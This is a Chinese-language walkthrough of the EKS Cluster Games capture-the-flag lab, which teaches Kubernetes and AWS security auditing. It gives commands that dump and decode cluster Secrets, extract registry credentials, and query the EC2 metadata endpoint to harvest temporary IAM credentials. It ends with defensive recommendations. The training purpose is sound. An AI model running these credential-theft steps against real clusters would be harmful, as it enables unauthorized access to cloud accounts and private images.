从0到1学习eks安全
字数 1308 2025-08-29 08:30:24
从0到1学习EKS安全实战指南
前言
本教程基于EKS Cluster Games靶场(https://eksclustergames.com/)进行实战演练,详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践,您将掌握Kubernetes集群安全审计的核心技能。
基础概念
Kubernetes Secret
Secret是Kubernetes中用于存储敏感数据的对象类型,如密码、Token或密钥。与ConfigMap类似,但专门设计用于机密数据。
特点:
- 独立于Pod创建,降低敏感数据暴露风险
- Kubernetes会采取额外保护措施,如避免写入非易失性存储
- 需要特定权限才能访问
kubectl基础
kubectl是Kubernetes集群管理命令行工具,核心命令包括:
kubectl get <resource> # 获取资源
kubectl auth can-i # 权限检查
kubectl describe # 查看资源详情
实战演练
挑战1: Secret Seeker
目标:列出集群中的所有Secret并找到flag
步骤:
- 检查当前权限:
kubectl auth can-i --list
- 查看Secret权限:
get: 读取特定Secretlist: 列出所有Secretswatch: 监听Secret变化create/update/patch/delete: 创建/更新/删除Secret
- 列出所有Secret:
kubectl get secrets -o yaml
- 解码Base64内容获取flag
挑战2: Registry Hunt
目标:检查容器注册表获取敏感信息
权限检查:
kubectl auth can-i --list
get与list权限区别:
| 权限 | 作用 | 示例 |
|---|---|---|
| get | 查看特定资源详细信息,需知道资源名称 | kubectl get pod my-pod |
| list | 列出某类资源的所有实例 | kubectl get pods |
实战步骤:
- 获取Pod详情:
kubectl get pods -o yaml
- 分析关键字段:
imagePullSecrets: 指定从私有仓库拉取镜像的凭证Secretcontainers.image: 使用的容器镜像
- 获取Secret内容:
kubectl get secret <secret-name> -o yaml
- 解码
.dockerconfigjson获取凭证:
echo "<base64-data>" | base64 -d
- 使用crane工具登录Docker:
crane auth login -u <username> -p <token> index.docker.io
crane pull <image> output.tar
挑战3: Image Inquisition
目标:深入检查ECR镜像仓库,分析镜像层获取隐藏信息
步骤:
-
获取Pod使用的ECR镜像信息
-
访问EC2元数据服务获取临时凭证:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
- 配置AWS CLI:
export AWS_ACCESS_KEY_ID=<access_key>
export AWS_SECRET_ACCESS_KEY=<secret_key>
export AWS_SESSION_TOKEN=<token>
aws sts get-caller-identity # 验证凭证
- 获取ECR登录密码:
aws ecr get-login-password
- 登录ECR并检查镜像:
crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com
crane pull <image> output.tar
tar -xvf output.tar
安全防护建议
- 最小权限原则:严格控制Secret访问权限
- 镜像安全:
- 使用私有仓库
- 定期扫描镜像漏洞
- 避免在镜像中存储敏感信息
- IAM角色管理:
- 限制EC2实例的IAM角色权限
- 定期轮换凭证
- 元数据保护:
- 使用IMDSv2(需要令牌的元数据服务)
- 限制元数据服务的网络访问
总结
通过本教程,您已掌握:
- Kubernetes Secret的安全审计方法
- 容器镜像注册表的敏感信息获取技术
- AWS ECR和EC2元数据服务的利用方式
- 相关安全防护的最佳实践
这些技能对于云安全审计和渗透测试至关重要,建议在实际环境中谨慎使用这些技术,并始终遵循道德准则。